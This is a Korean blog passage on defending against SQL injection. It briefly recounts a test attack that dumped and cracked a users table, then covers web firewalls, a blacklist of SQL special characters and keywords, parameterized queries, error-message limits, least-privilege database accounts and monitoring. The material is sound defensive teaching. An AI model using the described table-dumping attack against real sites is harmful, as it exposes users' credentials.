공격 시도가 완료되었다. 결과를 보면 users 테이블의 모든 내용이 출력되었으며 해시된 패스워드도 크래킹되어 평문으로 노출되었다. 그리고 친절하게도 csv 파일로 저장했다고 알려 주고 있다.

테스트 시나리오 이지만, 이런 식으로 회원테이블이 유출되면 정말 끔찍할 것이다.


SQL 인젝션 대응 방안

SQL 인젝션 공격에 대응하기 위한 방법들을 알아보자. 여러 측면에서 전방위적인 대응이 필요하겠으나 여기서는 기술적인 부분만 다루도록 한다. 다음은 3가치 축으로 정리해 본 모습이다.


웹 방화벽(WAF) 도입

웹 방화벽은 HTTP/HTTPS 응용 계층의 패킷 내용을 기준으로 패킷의 보안성을 평가하고 룰(Rule)에 따라 제어한다. SQL 인젝션의 룰(Rule)을 설정하여 공격에 대비할 수 있다.

1. 물리적 웹 방화벽
기업의 규모가 어느정도 되거나 보안이 중시되는 환경 또는 예산이 충분한 환경에서는 물리적인 전용 WAF 사용을 권장한다. 어플라이언스 형태의 제품을 사용하거나 SECaaS 형태의 클라우드 기반의 솔루션을 도입할 수도 있다.

2. 논리적 웹 방화벽(공개 웹 방화벽)
전용 웹방화벽 장비를 도입할 여력이 되지 않는다면, 공개 웹방화벽을 고려해 볼 만 하다. 대부분 공개 웹 방화벽은 물리적인 장비가 아닌 논리적인 구성으로 웹 방화벽 역할을 수행한다.

윈도우 서버 환경에서는 WebKnight, 아파치 서버 환경에서는 ModSecurity를 사용할 수 있다.

ModSecurity는 OWASP(세계적인 웹 보안 커뮤니티) 에서 무료 탐지 룰(CRS)을 제공하며 이를 통해OWASP TOP 10 취약점을 포함한 웹 해킹 공격으로부터 홈페이지(웹서버) 보호가 가능하다.

WebKnight는 웹서버 앞단에 필터(ISAPI) 방식으로 동작, 웹서버로 들어오는 모든 웹 요청에 대해 사전에 정의한 필터 룰에 따라 검증하고 SQL 인젝션 공격 등을 사전에 차단 할 수 있다

- 웹서버 보안 강화 안내서 (->바로가기)


시큐어 코딩

1. 입력값 유효성 검사

모든 웹 보안 영역에서는 외부 입력값에 대한 대전제가 하나 있다.

모든 외부 입력값은 신뢰하지 말라

SQL 인젝션에서도 마찬가지이다. 외부에서 들어오는 모든 입력값은 모두 의심의 대상이다.
여기서 외부 입력값은 이용자가 직접 타이핑한 값일 수도 있지만 직접 타이핑 하지 않더라도 Burp Suite와 같은 프록시 툴을 이용하여 중간에 값을 변조할 수 있는 외부 값도 포함된다. (가령 게시판에서 게시물 번호와 같은..)

SQL 인젝션의 가장 기본적인 대응 전략은 바로 입력값의 유효성을 검사하는 것이다. 입력값 검증에는 두 가지 방식이 존재한다.

1) 블랙 리스트 방식
SQL 쿼리의 구조를 변경시키는 문자나 키워드를 제한하는 방식이다. 아래와 같은 문자를 블랙리스트로  미리 정의하여 해당 문자를 공백 등으로 치환하는 방식으로 방어한다.

DBMS 종류에 따라 쿼리의 구조를 변경시키거나 쿼리문의 일부로 사용되는 문자 필터링

(특수문자) ' , " , = , & , | , ! , ( , ) , { , } , $ , % , @ , #, -- 등

(예 약 어) UNION, GROUP BY, IF, COLUMN, END, INSTANCE 등

(함 수 명) DATABASE(), CONCAT(), COUNT(), LOWER() 등


2) 화이트 리스트 방식
블랙리스트 방식보다 보안성 측면에서는 훨씬 강력한 방법이다. 블랙리스트 방식에서는 금지된 문자 외에는 모두 허용하지만 화이트리스트 방식에서는 허용된 문자를 제외하고는 모두 금지하는 방식이다. 

지정된 문자만을 허용하기 때문에 웹 애플리케이션의 기능에 따라 화이트리스트를 다르게 유지해야 할 필요가 생긴다. 그리고 

참고로 화이트 리스트를 정의할 때에는 개별 문자를 일일이 하나씩 모두 정의하는 것보다 정규식을 이용해서 범주화/패턴화 시키는 것이 유지보수에 더 유리하다.


2. 동적 쿼리 사용 제한

1) 동적 쿼리 금지
웹 애플리케이션이 DB와 연동할 때 정적쿼리만 사용한다면 SQL 인젝션을 신경 쓸 필요가 없다. 하지만 현실적으로 동적 쿼리를 사용하지 않을 수 없을 것이다. 근래의 웹 애플리케이션은 모두 사용자와 상호작용하며 동적인 기능을 기반으로 하기 때문에 동적 쿼리 사용은 거의 필수에 가깝다.

2) 매개변수화된 쿼리(구조화된 쿼리) 사용
동적 쿼리를 정적쿼리 처럼 사용하는 기법이다. 쿼리 구문에서 외부 입력값이 SQL 구문의 구조를 변경하지 못하도록 정적구조로 처리하는 방식인데 이를 파라메타화된(매개변수화된) 쿼리라 한다.

자바 환경에서 JDBC API를 사용하는 경우, 구조화된 쿼리를 지원하는 PreparedStatement를 사용할 수 있다. 닷넷에서는 SqlCommand를 사용하면 파라메타화된 쿼리를 사용할 수 있다.

[ 참고 ]
OWASP의 SQL 인젝션 대응 문서를 보면 각 언어별로 파라메타화된 쿼리 사용을 위한 가이드와 코드 샘플을 안내하고 있으니 참고하기 바란다.

SQL Injection Prevention Cheat Sheet


(일부 발췌)
Language specific recommendations:

Java EE – use PreparedStatement() with bind variables
.NET – use parameterized queries like SqlCommand() or OleDbCommand() with bind variables
PHP – use PDO with strongly typed parameterized queries (using bindParam())
Hibernate - use createQuery() with bind variables (called named parameters in Hibernate)
SQLite - use sqlite3_prepare() to create a statement object

추가로 행정안전부에서 발간한 시큐어코딩 가이드를 보면 자바 기준에서 JDBC, MyBatis, Hibernate 사용환경에서 안전한 코딩 기법을 제시하고 있으니 참고 바란다.

> 시큐어 코딩 가이드


3. 오류 메시지 출력 제한

1) DB 오류 출력 제한
DB의 오류 정보를 그대로 이용자에게 노출해서는 안된다. DB 오류 정보에는 개발자들이 쉽게 디버깅할 수 있도록 내부 정보를 상세히 알려주는 경우가 많다. 해커는 이 정보를 바탕으로 DB 구조를 파악하고 데이터 유출을 시도할 것이다. 따라서 DB 오류가 적나라하게 이용자에게 노출되지 않도록 커스텀 오류 페이지를 제공해야 한다.

2) 추상화된 안내 메시지
또한 너무 자세한 안내 메시지도 주의할 필요가 있다. 가령 로그인을 실패 했을 때, ID가 틀렸는지 Password가 틀렸는지 꼭 집어 알려줄 필요가 있을까? 오히려 이 정보는 해커들에게 공격의 범위를 좁혀주는 결과로 이질 수 있다. 단지 '로그인 정보가 일치하지 않습니다'와 같이 추상적인 메시지가 (약간의 사용성을 해치더라도) 더 나을  때도 있다.


DB 보안

1. DB 계정 분리
관리자가 사용하는 DB 계정과 웹애플리케이션이 접근하는 DB 계정은 반드시 분리되어야 한다. 간혹  귀찮다는 이유로 관리자의 DB계정을 여기저기 다 사용하는 경우가 있다. 반드시 분리 하도록 한다.

2. DB 계정 권한 제한
웹 애플리케이션이 DB에 액세스하는 전용 계정을 생성하고 이 계정에는 최소 권한 원칙에 입각하여 꼭 필요한 권한만 할당한다. 과연 웹애플리케이션에서 DROP TABLE와 같은 DML을 실행할 필요가 있는가? 아마 대부분은 필요치 않을 것이다. 또한 웹에서 DB의 기본 프로시저나 확장 프로시저를 호출할 필요가 있는가도 따져 볼 일이다.

웹 애플리케이션이 제공하는 기능만 수행가능하도록 권한을 제한한다.

참고로 필자의 과거 경험을 보자면, 모든 DB 액세스는 저장 프로시저로만 가능하도록 하고 계정 권한은 해당 프로시저들의 실행 권한만 부여한 적이 많았다.

또 한가지 팁은, SELECT 권한과 INSERT, UPDATE, DELETE 권한을 분리하여 서로 다른 계정으로 접근하도록 구성할 수도 있다. 이 경우 SELECT 권한으로 SQL 인젝션 공격이 들어와도 데이터베이스를 업데이트 할 수 없게 된다.

3. 기본/확장 저장 프로시저 제거
데이터베이스가 설치될때 기본적으로 포함된 프로시저들을 꼭 필요한 경우가 아니라면 제거하는 것이 좋다. 가령 MS SQL Server의 xp_cmdshell 프로시저는 db에서 시스템 명령어를 실행할 수 있도록 하는 확장 프로시저이다. 거의 대부분의 웹 애플리케이션에서는 이러한 확장 프로시저를 호출할 필요가 없을 것이다.


취약점 점검과 모니터링

1. 지속적 취약점 점검
SQL 인젝션 취약점을 정기적으로 점검해야 한다.

모의 해킹을 시도하거나 웹 취약점 점검 툴을 이용해 주기적인 취약점 점검이 권장된다.

비즈니스가 활발히 진행되는 만큼 웹사이트의 업데이트도 빈번할 것이다. 간단한 이벤트 페이지라고 하더라도 DB연동을 하는 경우, 언제나 SQL 취약점에 노출될 수 있다는 것을 명심해야 한다. 

다른 모든 곳에 보안을 튼튼해 해 뒀더라도, 이벤트 페이지 하나 때문에 해킹을 당하는 수가 빈번히 있음을 주의해야 할 것이다.

2. 로깅과 모니터링
SQL 인젝션은 많은 경우 오류를 유발시키거나 동일한 페이지나 기능을 반복적으로 호출하는 형태로 공격이 이뤄진다. 따라서 유달리 500 오류가 많이 발생하거나 동일한 IP에서 동일한 페이지를 반복적으로 호출할 경우 요주의 대상으로 주의깊에 살펴야 한다.

이상현상에 대한 기준과 임계를 설정하고 해킹 시도로 판단될 시, 즉각 알림이 전송되어 바로 조사가 가능한 체계를 갖추는 것이 좋다.

[ 참고 ]

OWASP에서는 SQL 인젝션 공격에 대응하는 가이드를 제공하고 있다. 이 페이지에서 보다 상세한 방어 기법을 확인할 수 있다

SQL Injection Prevention Cheat Sheet


  1. ㅇㅇ

    좋은 글이군요.

submit